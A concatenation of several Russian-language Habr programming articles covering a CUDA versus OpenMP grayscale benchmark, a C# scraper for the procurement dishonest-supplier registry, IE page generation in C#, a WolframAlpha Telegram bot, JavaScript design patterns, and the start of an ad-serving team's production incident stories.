Все довольно прямолинейно — мы всего лишь добавили директиву [*omp parallel for*](http://supercomputingblog.com/openmp/tutorial-parallel-for-loops-with-openmp/) к однопоточному коду — в этом вся красота и мощь OpenMP. Я пробовал поиграться с параметром [*schedule*](https://software.intel.com/en-us/articles/openmp-loop-scheduling), но получалось только хуже, чем без него.
Наконец, переходим к CUDA. Тут распишем более детально. Сначала нужно выделить память под входные данные, переместить их с CPU на GPU и выделить память под выходные данные:
**Скрытый текст**
```
void RGBtoGrayscaleCUDA(const uchar4 * const h_imageRGBA, unsigned char* const h_imageGray, size_t numRows, size_t numCols)
{
uchar4 *d_imageRGBA;
unsigned char *d_imageGray;
const size_t numPixels = numRows * numCols;
cudaSetDevice(0);
checkCudaErrors(cudaGetLastError());
//allocate memory on the device for both input and output
checkCudaErrors(cudaMalloc(&d_imageRGBA, sizeof(uchar4) * numPixels));
checkCudaErrors(cudaMalloc(&d_imageGray, sizeof(unsigned char) * numPixels));
//copy input array to the GPU
checkCudaErrors(cudaMemcpy(d_imageRGBA, h_imageRGBA, sizeof(uchar4) * numPixels, cudaMemcpyHostToDevice));
```
Стоит обратить внимание на стандарт именования переменных в CUDA — данные на CPU начинаются с *h\_* (**h**ost), данные да GPU — с *d\_* (**d**evice). *checkCudaErrors* — макрос, взят с [github-репозитория](https://github.com/udacity/cs344/blob/master/Problem%20Sets/Problem%20Set%201/utils.h) Udacity курса. Имеет следующий вид:
**Скрытый текст**
```
#include
#define checkCudaErrors(val) check( (val), #val, \_\_FILE\_\_, \_\_LINE\_\_)
template
void check(T err, const char\* const func, const char\* const file, const int line) {
if (err != cudaSuccess) {
std::cerr << "CUDA error at: " << file << ":" << line << std::endl;
std::cerr << cudaGetErrorString(err) << " " << func << std::endl;
exit(1);
}
}
```
*cudaMalloc* — аналог *malloc* для GPU, *cudaMemcpy* — аналог *memcpy*, имеет дополнительный параметр в виде enum-а, который указывает тип копирования: cudaMemcpyHostToDevice, cudaMemcpyDeviceToHost, cudaMemcpyDeviceToDevice.
Далее необходимо задать размеры сетки и блока и вызвать ядро, не забыв измерить время:
**Скрытый текст**
```
dim3 blockSize;
dim3 gridSize;
int threadNum;
cudaEvent_t start, stop;
cudaEventCreate(&start);
cudaEventCreate(&stop);
threadNum = 1024;
blockSize = dim3(threadNum, 1, 1);
gridSize = dim3(numCols/threadNum+1, numRows, 1);
cudaEventRecord(start);
rgba_to_grayscale_simple<<>>(d\_imageRGBA, d\_imageGray, numRows, numCols);
cudaEventRecord(stop);
cudaEventSynchronize(stop);
cudaDeviceSynchronize(); checkCudaErrors(cudaGetLastError());
float milliseconds = 0;
cudaEventElapsedTime(&milliseconds, start, stop);
std::cout << "CUDA time simple (ms): " << milliseconds << std::endl;
```
Обратите внимание на формат вызова ядра — *kernel\_name<<>>*. Код самого ядра также не очень сложный:
**rgba\_to\_grayscale\_simple**
```
__global__
void rgba_to_grayscale_simple(const uchar4* const d_imageRGBA,
unsigned char* const d_imageGray,
int numRows, int numCols)
{
int y = blockDim.y*blockIdx.y + threadIdx.y;
int x = blockDim.x*blockIdx.x + threadIdx.x;
if (x>=numCols || y>=numRows)
return;
const int offset = y*numCols+x;
const uchar4 pixel = d_imageRGBA[offset];
d_imageGray[offset] = 0.299f*pixel.x + 0.587f*pixel.y+0.114f*pixel.z;
}
```
Здесь мы вычисляем координаты *y* и *x* обрабатываемого пиксела, используя ранее описанные переменные **threadIdx**, **blockIdx** и **blockDim**, ну и выполняем конвертацию. Обратите внимание на проверку *if (x>=numCols || y>=numRows)* — так как размеры изображения не обязательно будут делится нацело на размеры блоков, некоторые блоки могут «выходить за рамки» изображения — поэтому необходима эта проверка. Также, функция ядра должна помечаться спецификатором *\_\_global\_\_* .
Последний шаг — cкопировать результат назад с GPU на CPU и освободить выделенную память:
**Скрытый текст**
```
checkCudaErrors(cudaMemcpy(h_imageGray, d_imageGray, sizeof(unsigned char) * numPixels, cudaMemcpyDeviceToHost));
cudaFree(d_imageGray);
cudaFree(d_imageRGBA);
```
Кстати, CUDA позволяет использовать C++ компилятор для host-кода — так что запросто можно написать обертки для автоматического освобождения памяти.
Итак, запускаем, измеряем (размер входного изображения — [10,109 × 4,542](http://commons.wikimedia.org/wiki/File:Fronalpstock_big.jpg)):
```
OpenMP time (ms):45
CUDA time simple (ms): 43.1941
```
Конфигурация машины, на которой проводились тесты:
**Скрытый текст**Процессор: Intel® Core(TM) i7-3615QM CPU @ 2.30GHz.
GPU: NVIDIA GeForce GT 650M, 1024 MB, 900 MHz.
RAM: DD3, 2x4GB, 1600 MHz.
OS: OS X 10.9.5.
Компилятор: g++ (GCC) 4.9.2 20141029.
CUDA компилятор: Cuda compilation tools, release 6.0, V6.0.1.
Поддерживаемая версия OpenMP: OpenMP 4.0.
Получилось как-то не очень впечатляюще:) А проблема все та же — слишком мало работы выполняется над каждым пикселом — мы запускаем тысячи потоков, каждый из которых отрабатывает практически моментально. В случае с CPU такой проблемы не возникает — OpenMP запустит сравнительно малое количество потоков (8 в моем случае) и разделит работу между ними поровну — таким образом процессоры будет занят практически на все 100%, в то время как с GPU мы, по сути, не используем всю его мощь. Решение довольно очевидное — обрабатывать несколько пикселов в ядре. Новое, оптимизированное, ядро будет выглядеть следующим образом:
**rgba\_to\_grayscale\_optimized**
```
#define WARP_SIZE 32
__global__
void rgba_to_grayscale_optimized(const uchar4* const d_imageRGBA,
unsigned char* const d_imageGray,
int numRows, int numCols,
int elemsPerThread)
{
int y = blockDim.y*blockIdx.y + threadIdx.y;
int x = blockDim.x*blockIdx.x + threadIdx.x;
const int loop_start = (x/WARP_SIZE * WARP_SIZE)*(elemsPerThread-1)+x;
for (int i=loop_start, j=0; j
```
Здесь не все так просто как с предыдущим ядром. Если разобраться, теперь каждый поток будет обрабатывать *elemsPerThread* пикселов, причем не подряд, а с расстоянием в WARP\_SIZE между ними. Что такое WARP\_SIZE, почему оно равно 32, и зачем обрабатывать пиксели пободным образом, будет более детально рассказано в следующих частях, сейчас только скажу что этим мы добиваемся более эффективной работы с памятью. Каждый поток теперь обрабатывает *elemsPerThread* пикселов с расстоянием в WARP\_SIZE между ними, поэтому x-координата первого пиксела для этого потока исходя из его позиции в блоке теперь рассчитывается по несколько более сложной формуле чем раньше.
Запускается это ядро следующим образом:
**Скрытый текст**
```
threadNum=128;
const int elemsPerThread = 16;
blockSize = dim3(threadNum, 1, 1);
gridSize = dim3(numCols / (threadNum*elemsPerThread) + 1, numRows, 1);
cudaEventRecord(start);
rgba_to_grayscale_optimized<<>>(d\_imageRGBA, d\_imageGray, numRows, numCols, elemsPerThread);
cudaEventRecord(stop);
cudaEventSynchronize(stop);
cudaDeviceSynchronize(); checkCudaErrors(cudaGetLastError());
milliseconds = 0;
cudaEventElapsedTime(&milliseconds, start, stop);
std::cout << "CUDA time optimized (ms): " << milliseconds << std::endl;
```
Количество блоков по x-координате теперь рассчитывается как *numCols / (threadNum\*elemsPerThread) + 1* вместо *numCols / threadNum + 1*. В остальном все осталось так же.
Запускаем:
```
OpenMP time (ms):44
CUDA time simple (ms): 53.1625
CUDA time optimized (ms): 15.9273
```
Получили прирост по скорости в 2.76 раза (опять же, не учитывая время на операции с памятью) — для такой простой проблемы это довольно неплохо. Да-да, эта задача слишком простая — с ней достаточно хорошо справляется и CPU. Как видно из второго теста, простая реализация на GPU может даже проигрывать по скорости реализации на CPU.
На сегодня все, в следующей части рассмотрим аппаратное обеспечение GPU и основные шаблоны параллельной коммуникации.
Весь исходный код доступен на [bitbucket](https://bitbucket.org/VladyslavGorbatiuk/cuda-parallel-programming-code). | https://habr.com/ru/post/245503/ | null | ru | null |
# Парсинг сайта Госзакупок (ЕИС закупки)
Для оценки контрагента довольно полезную информацию можно получить с сайта «[ЕИС закупки](https://zakupki.gov.ru/epz/main/public/home.html)», в частности из реестра недобросовестных поставщиков. Расскажу, как быстро проверить контрагентов, имея список ИНН.
Нахождение контрагента в [реестре недобросовестных поставщиков / подрядных организаций](https://zakupki.gov.ru/epz/dishonestsupplier/search/results.html) вероятнее всего повлияет на решение сотрудничества с ним, так и на формирование резервов под него (например, в банковском кредитовании).
Для быстрой проверки, когда ИНН заемщиков слишком много, был написан код на c# для удобного поиска по этому списку:
Сначала из перечня ИНН формируем list:
```
List INNs = new List();
using(StreamReader sr=new StreamReader(path/to/file))
{
string line;
while ((line = sr.ReadLine()) != null)
{
INNs.Add(line.Trim());
}
}
```
Посмотрим, какую информацию можно получить из реестра:
Дальше создаем класс поставщика с той информацией, которую можно собрать. Применим методы для возврата названий и значений полей.
```
public class Provider
{
public string INN { get; set; }
public string Name { get; set; }
public DateTime? DateAdd { get; set; } = null;
public DateTime? DateUpdate { get; set; } = null;
public DateTime? DateEnd { get; set; } = null;
public string FZ { get; set; }
public string SomethingNum { get; set; }
public string Country { get; set; }
public string Url { get; set; }
public Provider() { }
public string GetTitle()
{
return "inn\tName\tDateAdd\tDateUpdate\tDateEnd\tFZ\tSomethingNum";
}
public string GetStr()
{
return this.INN + "\t" + this.Name + "\t" + this.DateAdd + "\t" + this.DateUpdate + "\t" + this.DateEnd + "\t" + this.FZ + "\t" + this.SomethingNum;
}
}
```
Изначально я хотел в конструкторе написать код по получению информации, но возникли случаи, когда возвращается несколько значений поиска, например, поставщик попадал несколько раз в реестр, так что я отказался от такой идеи.
Поэтому функция по получению информации реализована в отдельном классе, а заодно и метод для того, чтобы записать результат из списка:
1. В первой части функции идет запрос к сайту и получение html.
2. Далее смотрим на наличие блоков с информацией:
a. если их нет, то идем на шаг 4;
b. если есть, то идем дальше по функции;
3. идем по блокам циклом и заполняем поля класса в соответствие с названием;
a. если ИНН поисковой не соответствует инн в блоке то переходим на следующую итерацию;
b. если соответствует идем дальше, добавляем даты и класс добавляем в список;
4. возвращаем список.
```
public static class Metods
{
public static void Write(this List providers)
{
using (StreamWriter sw = new StreamWriter("res.txt"))
{
sw.WriteLine(new Provider().GetTitle());
foreach (Provider provider in providers)
{
sw.WriteLine(provider.GetStr());
}
}
}
public static List GetProviderFromSite(string inn)
{
List providers = new List();
HttpWebRequest Request = (HttpWebRequest)HttpWebRequest.Create(String.Format("https://zakupki.gov.ru/epz/dishonestsupplier/search/results.html?morphology=on&sortBy=UPDATE\_DATE&pageNumber=1&sortDirection=false&recordsPerPage=\_10&showLotsInfoHidden=false&fz94=on&fz223=on&ppRf615=on&customerINN={0}", inn));
Request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36";
Request.Headers.Add("Accept-Language", "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3");
Request.Headers.Add("TE", "Trailers");
Request.Headers.Add("Cache-Control", "no-cache");
Request.Headers.Add("Pragma", "no-cache");
Request.Headers.Add("Accept-Encoding", "gzip, deflate, br");
Request.Headers.Add("TE", "Trailers");
Request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8";
Request.AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip;
HttpWebResponse Response = (HttpWebResponse)Request.GetResponse();
HtmlAgilityPack.HtmlDocument doc = new HtmlAgilityPack.HtmlDocument();
doc.Load(Response.GetResponseStream(), Encoding.UTF8);
HtmlNodeCollection divs = doc.DocumentNode.SelectNodes("//div[@class='row no-gutters registry-entry\_\_form mr-0']");/\*[0].SelectNodes(".//a[@class='bloko-link']");\*/
if (divs == null) return providers;
foreach (HtmlNode div in divs)
{
Provider provider = new Provider();
HtmlNodeCollection blocks = divs[0].SelectNodes("//div[@class='registry-entry\_\_body-block']");
foreach (HtmlNode htmlNode in blocks)
{
List childDiv = htmlNode.ChildNodes.Where(r => r.Name == "div").ToList();
switch (childDiv[0].InnerText.Trim().Replace("\n", ""))
{
case "ИНН (аналог ИНН)":
provider.INN = childDiv[1].InnerText;
continue;
case "Страна":
provider.Country = childDiv[1].InnerText;
continue;
case "Наименование (ФИО) недобросовестной подрядной организации":
case "Наименование (ФИО) недобросовестного поставщика":
provider.Name = childDiv[1].InnerText.Replace("\n", "").Replace("\t", "").Replace("\r", "").Replace(" ", "");
continue;
default:
string a = childDiv[0].InnerText.Trim().Replace("\n", "");
continue;
}
}
if (inn != provider.INN)
{
continue;
}
provider.SomethingNum = divs[0].SelectNodes(".//div[@class='registry-entry\_\_header-mid\_\_number']")[0].InnerText.Trim();
provider.Url = divs[0].SelectNodes(".//div[@class='registry-entry\_\_header-mid\_\_number']")[0].SelectNodes(".//a")[0].Attributes["href"].Value;
provider.FZ = divs[0].SelectNodes(".//div[@class='registry-entry\_\_header-top\_\_title text-truncate']")[0].InnerText.Replace("\n", "").Replace("\t", "").Replace("\r", "").Trim();
HtmlNode DataBlock = divs[0].SelectNodes(".//div[@class='col d-flex flex-column registry-entry\_\_right-block b-left ']")[0];
HtmlNodeCollection DataBlocks = DataBlock.SelectNodes(".//div[@class='data-block\_\_value']");
if (DataBlocks.Count < 4)
{
List dates = new List();
foreach (HtmlNode htmlNode in DataBlocks)
{
if (htmlNode.ParentNode.Attributes["class"].Value == "col-6") dates.Add(Convert.ToDateTime(htmlNode.InnerText));
}
dates = dates.OrderBy(r => r).ToList();
provider.DateAdd = dates[0];
provider.DateUpdate = dates[1];
HtmlNode end = DataBlocks.Where(r => r.ParentNode.Attributes["class"].Value != "col-6").FirstOrDefault();
if (end != null) { provider.DateEnd = Convert.ToDateTime(end.InnerText); }
}
else
{
string a = "";
};
providers.Add(provider);
}
return providers;
}
}
```
Далее используем эту функцию на списке ИНН:
```
List providers = new List();
foreach(string inn in INNs)
{
providers = providers.Concat(Metods.GetProviderFromSite(inn)).ToList();
}
providers.Write();
```
Таким образом, у меня получилось собрать информацию об интересующих контрагентах. От себя хотелось бы добавить, что сайт имеет особенность: по тем ИНН, где информацию получить не удалось, попробуйте запустить скрипт еще раз: есть шанс, что найдется информация по ним. | https://habr.com/ru/post/666614/ | null | ru | null |
# Отображение генерируемых «на лету» html страниц без сохранения в буфер обмена или файловую систему
Часто при разработке перед программистом встаёт вопрос об отображении результатов работы пользователю в удобном для него виде. Благо вариантов реализации вывода информации несметное множество. Так, одним из них является web-страница, как очень гибкое решение, позволяющее оформить данные в любом виде.
Однако, временами, простая на первый взгляд проблема усложняется какими-то ограничениями. К примеру, из-за недостатка прав доступа может возникнуть ситуация невозможности использования файловой системы. Иными словами, результаты нельзя будет сохранять в файл. А использование буфера обмена может повлечь за собой уничтожение важной информации хранящейся в нём.
О том, как показать пользователю html страницу, не имеющую локального представления под катом.
Решение проблемы будет рассмотрено на языке C#. С использованием следующих Active-X библиотек из папки Windows/System32/:
* Microsoft HTML Viewer (mshtml.dll) – для объектно-ориентированной работы с DHTML элементами web-страницы;
* Shell Doc Object and Control Library (SHDocVw.dll) – для выполнения основных операций с локальными и интернет ресурсами.
При помощи первой будем генерировать саму страницу, а второй – открывать её в браузере Internet Explorer. Основная причина использования IE – присутствие оного практически на любом компьютере.
#### Основная идея
В любом браузере есть страницы вида about:\*\*\*, они не хранятся локально, а генерируются из шаблона при открытии. К примеру, написав в адресную строку IE “about:InPrivate”, откроется сервисная страница, информирующая о входе в приватный режим просмотра.
Для того чтобы понять как устроен этот механизм, обратимся к реестру Windows. Для этого воспользуемся стандартной программой «Редактор реестра» (Выполнить –> regedit). Откроем путь HKEY\_LOCAL\_MACHINE/SOFTWARE/Microsoft/Internet Explorer/AboutURLs. Здесь то и ищет браузер шаблон для страницы, ссылку на которую мы указали после слова about.
Как вы можете увидеть, под маской “about:InPrivate” скрывается адрес местонахождения той самой страницы: res://iframe.dll/inprivate.htm. Отсюда следует, что искомая страница находится в ресурсах библиотеки ieframe.dll. (Подробнее о Dll ресурсах и о том, как их создавать, можно почитать на [MSDN](http://msdn.microsoft.com/ru-ru/library/e9zazcx5.aspx))
#### Реализация
```
var ie = new InternetExplorer();
ie.Navigate(@"about:blank");
var document = ie.Document;
document.open();
var element = document.createElement("body");
var nodeBody = document.ImportNode(element, true);
document.appendChild(nodeBody);
var stringBuilder = new StringBuilder();
stringBuilder.Append(""
);
document.body.insertAdjacentHTML("beforeEnd", stringBuilder.ToString());
var content = document.getElementById("Content");
stringBuilder.Clear();
stringBuilder.Append(" Отображение генерированной страницы в браузере IE
==================================================
" +
"### Без использования сохранения на диск или помещения в буфер
" +
"
---
" +
" ПРИВЕТ, ХАБРАХАБР!
"
);
content.insertAdjacentHTML("beforeEnd", stringBuilder.ToString());
document.body.insertAdjacentHTML("beforeEnd", "");
document.close();
ie.Visible = true;
```
Код в принципе простой, думаю построчно объяснять не надо, расскажу суть:
1. Создаём экземпляр интерфейса для работы с IE;
2. Открываем страницу уже имеющуюся на компьютере (в нашем случае это пустая страница);
3. Извлекаем «Документ» из IE, это объектное представление нашей страницы;
4. Заполняем её нужным содержимым;
5. (Обязательно) Закрываем документ – IE отображает изменения.
Вот и всё, программно-генерированная страница с нашим содержимым отображена в браузере без использования файловой системы и буфера обмена.
Таким образом, есть возможность использования сложного макета страницы, записанного в библиотеку dll, для отображения часто меняющихся данных вместо многократного создания новых файлов. | https://habr.com/ru/post/163841/ | null | ru | null |
# Калькулятор Wolframalpha в диалоге Telegram
Идея
----
В диалогах телеграма я очень часто использую телеграм бот: [inlatexbot](https://telegram.me/inlatexbot). Он позволяет вставлять Latex прямо в диалоге телеграма — это удобно: математическое обозначение можно отправить понятной картинкой, чтобы было так 
, а не так **sqrt(4)\*2^x \* 1/3 =1024**.
Но не менее часто, мне в телеграме необходим функционал **WolframAlpha**: посчитать сложный счет за вечеринку с друзьями, различные проценты, решить уравнение и так далее — полный функционал WolframAlpha, но при этом не выходить из диалога телеграма.
Подключение Wolfram
-------------------
Я нашел Wolfram Alpha API для python (https://pypi.org/project/wolframalpha/). Документация предельно понятная и можно сделать все, что доступно в веб версии. Правда, есть ограничение бесплатного Wolfram API на 2000 запросов в месяц. Код, который работает с вольфрамом предельно простой и у меня вышел в 4 строки.
```
import wolframalpha
client = wolframalpha.Client('TOKEN')
res = client.query(query)
print(next(res.results).text)
```
В первых двух строчках я импортирую модуль wolframalpha, создаю client со своим APP ID — необходимо предварительно зарегистрироваться в wolfram и получить его, далее можно отправлять запросы к вольфраму и просто делаю принт результат того, что получил Wolfram Alpha. Все работает — теперь можно приступать к интегрированию с Telegram.
Интеграция в Телеграм бот
-------------------------
Осталось соединить все вместе и отправлять запросы, полученные из Телеграм в Вольфрам и выдавать ответ юзеру. Создаю бот в @BotFather, в настройках включаю режим inline, чтобы бот работал прямо в диалоге Телеграм. Использую [пример](https://github.com/python-telegram-bot/python-telegram-bot/blob/master/examples/inlinebot.py) inline бота из [GitHub](https://github.com/python-telegram-bot/python-telegram-bot) для Телеграм, и отправляю ответ юзеру. Вот как выглядит самая важная часть кода.
```
def inlinequery(update, context):
"""Handle the inline query."""
query = update.inline_query.query
print(query)
res = client.query(query)
results = [
InlineQueryResultArticle(
id=uuid4(),
title="Magic answer is here!",
input_message_content=InputTextMessageContent(
"{} => *{}*".format(query, next(res.results).text),
parse_mode=ParseMode.MARKDOWN))]
update.inline_query.answer(results)
```
Как это работает?
-----------------
Очень просто — прямо в диалоге я ввожу @calcherebot 12 + 15 и мне выдает ответ **27**. Бот в телеграме упрощает не только процесс подсчетов чего-либо, но и процесс различных доказательств, например можно узнать население Москвы или средний вес человека и бот в каком-то смысле меняет коммуникацию: больше не нужны скриншоты калькуляторов, википедии или других источников — теперь все может быть доступно в диалоге.
Что дальше?
-----------
Пока что бот работает локально и поддерживает всего лишь 2000 запросов в месяц, что очень мало для публичного использования. В моих планах его доработка для массового использования всем, кому это необходимо: студентам, ученым, просто людям которым нужно что-то посчитать или доказать прямо в телеграме. Если у вас есть идеи или пожелания по доработке( скорее всего они есть, так как бот был написан за пару часов) напишите мне на почту: *rk-helper@yandex.ru* | https://habr.com/ru/post/515146/ | null | ru | null |
# Использование паттернов проектирования в javaScript: Порождающие паттерны
Привет, хабр!
С удивлением обнаружил отсутствие на хабре развернутой статьи о сабже, что немедленно сподвигло меня исправить эту вопиющую несправедливость.
В условиях когда клиентская часть веб-приложений становится все более толстой, бизнес-логика неумолимо переползает на клиент, а на суверенитет серверных технологий все более смело посягает node.js нельзя не задуматься о приемах проектирования архитектуры на javaScript. И в этом деле нам несомненно должны помочь паттерны проектирования — шаблонные приемы решения часто встречающихся задач. Паттерны помогают построить архитектуру, которая потребует от вас наименьших усилий при необходимости внести изменения. Но не стоит воспринимать их как панацею, т.е., грубо говоря, если качество кода «не фонтан», он кишит хардкодом и жесткой связью между логически независимыми модулями, то никакие паттерны его не спасут. Но если стоит задача спроектировать масштабируемую архитектуру, то паттерны могут стать хорошим подспорьем.
Но впрочем эта статья не о паттернах проектирования как таковых, а о их применении в javaScript. В первой части этой статьи я напишу о применении порождающих паттернах.
#### Singleton
Если бы стояла задача описать этот паттерн одной фразой, то она получилась бы примерно следующей: Singleton — это класс, который может иметь только один экземпляр.
Самым простым и очевидным решением в javaScript для реализации этого паттерна является использование объектов:
```
var app = {
property1: 'value',
property2: 'value',
...
method1: function () {
...
},
...
}
```
Этот способ имеет как свои преимущества, так и недостатки. Его просто описать, многие его используют не догадываясь о существовании каких-либо паттернов и эта форма записи будет понятна любому javaScript разработчику. Но у него есть и существенный недостаток: основная цель паттерна singleton — обеспечить доступ к объекту без использования глобальных переменных, а данный способ предоставляет доступ к переменной app только в текущей области видимости. Это означает, что к объекту app мы сможем обратиться из любого места приложения только в том случае если он будет глобальным. Чаще всего это крайне неприемлемо, хорошим стилем разработки на javaScript является использование максимум одной глобальной переменной, в которой инкапсулируется все необходимое. А это означает, что приведенный выше подход мы сможем использовать максимум один раз в приложении.
Второй способ чуть более сложен, но зато и более универсален:
```
function SomeFunction () {
if (typeof (SomeFunction.instance) == 'object') {
return SomeFunction.instance;
}
this.property1 = 'value';
this.property2 = 'value';
SomeFunction.instance = this;
return this;
}
SomeFunction.prototype.method1 = function () {
}
```
Теперь, используя любую модульную систему (например requirejs) мы в любом месте нашего приложения сможем подключить файл с описанием этой функции-конструктора и получим доступ к нашему объекту, выполнив:
```
var someObj = new SomeFunction ();
```
Но этот способ также имеет свой недостаток: экземпляр хранится просто как статическое свойство конструктора, что позволяет кому угодно его перезаписывать. Мы же хотим чтобы при любых обстоятельствах мы могли получить доступ из любого уголка нашего приложения к требуемому объекту. Это означает, что переменную, в которой мы сохраним экземпляр надлежит сделать приватной, а поможет нам в этом замыкания.
```
function SomeFunction () {
var instance;
SomeFunction = function () {
return instance;
}
this.property1 = 'value';
this.property2 = 'value';
instance = this;
}
```
Казалось бы вот оно, решение всех проблем, но на место старых проблем приходят новые. А именно: все свойства, занесенные в прототип конструктора после создания экземпляра не будут доступны, т.к. по сути будут записаны в старый конструктор, а не в свежеопределенный. Но и из этой ситуации есть достойный выход:
```
function SomeFunction () {
var instance;
SomeFunction = function () {
return instance;
}
SomeFunction.prototype = this;
instance = new SomeFunction ();
instance.constructor = SomeFunction;
instance.property1 = 'value';
instance.property2 = 'value';
return instance;
}
```
Этот способ описания одиночки лишен всех вышеперечисленных недостатков и вполне пригоден для универсального использования, однако, способы описания одиночки с помощью замыкания не будут работать с requirejs, но если немного их модифицировать и вынести переменную из замыкания, созданного самой функцией в функцию, используемую в define, то проблема будет решена:
```
define([], function () {
var instance = null;
function SomeFunction() {
if (instance) {
return instance;
}
this.property1 = 'value';
this.property2 = 'value';
instance = this;
};
return SomeFunction;
});
```
#### Factory method
У фабричного метода две основных цели:
1) Не использовать явно конкретные классы
2) Объединить вместе часто используемые методы инициализации объектов
Простейшей реализацией фабричного метода является такой пример:
```
function Foo () {
//...
}
function Bar () {
//...
}
function factory (type) {
switch (type) {
case 'foo':
return new Foo();
case 'bar':
return new Bar();
}
}
```
Соответственно создание объектов будет выглядеть так:
```
foo = factory('foo');
bar = factory('bar');
```
Можно использовать более элегантное решение:
```
function PetFactory() {
};
PetFactory.register = function(name, PetConstructor) {
if (name instanceof Function) {
PetConstructor = name;
name = null;
}
if (!(PetConstructor instanceof Function)) {
throw {
name: 'Error',
message: 'PetConstructor is not function'
}
}
this[name || PetConstructor.name] = PetConstructor;
};
PetFactory.create = function(petName) {
var PetConstructor = this[petName];
if (!(PetConstructor instanceof Function)) {
throw {
name: 'Error',
message: 'constructor "' + petName + '" undefined'
}
}
return new PetConstructor();
};
```
В этом случае мы не ограничиваем себя количеством классов, которые может порождать фабрика, можем добавлять их сколько угодно таким способом:
```
PetFactory.register('dog', function() {
this.say = function () {
console.log('gav');
}
});
```
Ну или таким:
```
function Cat() {
}
Cat.prototype.say = function () {
console.log('meow');
}
PetFactory.register(Cat);
```
#### Abstract Factory
Абстрактная фабрика применяется для создания группы взаимосвязанных или взаимозависимых объектов.
Предположим у нас есть несколько всплывающих окон, которые состоят из одинаковых элементов, но элементы эти по-разному выглядят и по-разному реагируют на действия пользователя. Каждый из этих элементов будет создаваться фабричным методом, а это значит, что для каждого вида всплывающих окон нужна своя фабрика объектов.
Для примера опишем фабрику BluePopupFactory, она имеет точно такую же структуру как PetFactory, поэтому опустим подробности и просто будем ее использовать.
```
function BluePopup () {
//создание всплывающего окна
}
BluePopup.prototype.attach = function (elemens) {
//присоединение других ui-элементов к окну
}
BluePopupFactory.register('popup', BluePopup);
function BluePopupButton () {
//создание кнопки для синего всплывающего окна
}
BluePopupButton.prototype.setText = function (text) {
//установка текста на кнопке
}
BluePopupFactory.register('button', BluePopupButton);
function BluePopupTitle () {
//создание заголовка для синего окна
}
BluePopupTitle.prototype.setText = function (text) {
//установка текста заголовка
}
BluePopupFactory.register('title', BluePopupTitle);
```
Наверное у нас должен быть некий класс, отвечающий за элементы интерфейса.
```
function UI () {
//класс, отвечающий за ui-элементы
}
```
И в него мы добавим метод createPopup:
```
UI.createPopup = function (factory) {
var popup = factory.create('popup'),
buttonOk = factory.create('button'),
buttonCancel = factory.create('button'),
title = factory.create('title');
buttonOk.setText('OK');
buttonCancel.setText('Cancel');
title.setText('Untitled');
popup.attach([buttonOk, buttonCancel, title]);
}
```
Как видите createPopup принимает аргументом фабрику, создает само всплывающее окно и кнопки с заголовком для него, а затем присоединяет их к окну.
После этого можно использовать этот метод так:
```
var newPopup = UI.createPopup(BluePopupFactory);
```
Соответственно, можно описать неограниченное количество фабрик и передавать нужную при создании очередного всплывающего окна. | https://habr.com/ru/post/175453/ | null | ru | null |
# Вектор енумов. С чем мы сталкиваемся в разработке
В любой команде разработки бывают курьёзные случаи, которые разработчики потом вспоминают за пиццей. Сторонний человек, тоже пришедший отведать пиццы, обычно эти внутренние байки не понимает, потому что не был в комнате в тот момент, когда «треснул шард» или «движку поплохело».
Я делаю баннерную крутилку, делаю давно и уже оброс такими историями со всех сторон. Мне удалось уговорить команду рассказать на камеру хотя бы часть историй — с контекстом, чтобы зритель не чувствовал себя тем самым сторонним человеком. Надеюсь, читателям Хабра наши грабли покажутся интересными. Всего будет семь историй.
#### Высвобождение ресурсов
Периодически мы решаем задачи экономии разных ресурсов: памяти, процессора и так далее. Во время очередного подхода обнаружили, что один из наших процессингов употребляет неразумное количество процессорных ядер. Суть этого процессинга в том, что он читает поступающие с фронтовых серверов данные маленькими пачками, группирует их и передаёт в основной конвейер, где они варятся большими блоками по 100-200 тысяч строчек за раз.
Когда мы начали разбираться, почему так происходит, то поняли, что упираемся в деаллокацию данных — и это крайне странно. Казалось бы, самый простой путь — начать играть с аллокаторами, но мы пошли чуть глубже. Мы поняли, что, перекладывая данные в представление конвейера, мы перекладываем их в кликхаусные блобы. Это структура данных, где вместо строчек используются колонки (ClickHouse — колоночная база данных). Там есть некая матрица, внутри которой умные указатели по числу колонок, а их у нас 350-400 штук. Из-за того, что на входе данные берутся маленькими пачками, получается очень большой мультипликатор и очень большое количество умных указателей, которые создаются впустую. Потом мы ещё дополнительно их разбиваем, создаём много разных потоков на выходе и получаем ещё большее умножение и ещё больше умных указателей, которые потом приходится удалять в разных потоках записи. Заменили колонки на строки — получили экономию в 10 тысяч ядер, это примерно 15-20% потребления ядер всей Метрикой.
#### Инсёрт
Мне нужно было сделать INSERT в табличку в базе данных. Я выполнил INSERT (не INSERT IGNORE), и запись совпала по ключу с уже существующей записью, выделился новый автоинкрементный айдишник — соответственно, старая запись получила новый ID, и эти данные поехали в продакшен. Загорелся алерт, что что-то с продакшеном происходит. Его график пошёл вниз, а с рекламой стали происходить страшные вещи: где-то картинки перестали показываться, где-то всё поменялось местами — мы смотрим и не понимаем, как такое может быть.
Первая реакция — откатить. Откатываем — график возвращается обратно наверх, мы выдыхаем. Где-то через полчаса продакшен снова стал ломаться, график пошёл вниз, но всё уже выглядело по-другому: всё ломалось на других сайтах, ломалось по-другому, но указывало примерно на ту же самую конфигурационную табличку. Тогда мы поняли, что эти данные едут разными способами. Они едут и в быстром контуре, который сломался первым, и в медленном контуре, который сломался попозже. Так мы стали откатывать и медленный контур тоже. Мы балансировали туда-сюда, не очень понимая, что происходит. Возможно, мы даже раза три что-то откатывали. Конечно, было неприятно, к тому же эти индексы откатываются долго. Самое дурацкое в этой ситуации то, что можно было просто подождать — проблема была в рассинхроне быстрого и медленного индексов. Можно было потерпеть, и всё раскатилось бы, а мы откатами сделали только хуже.
Из этого мы сделали два вывода. Во-первых, не нужно конфигурационные данные возить через таблички и накатывать миграциями — их надо просто вкомпилировать в код, и они будут выкатываться в продакшен через приёмку обычного релиза, за качеством которой мы внимательно следим. Во-вторых, не нужно катать одни и те же данные разными путями, иначе неизбежно будут рассинхроны, которые трудно тестировать и чинить.
#### Треснувший шард
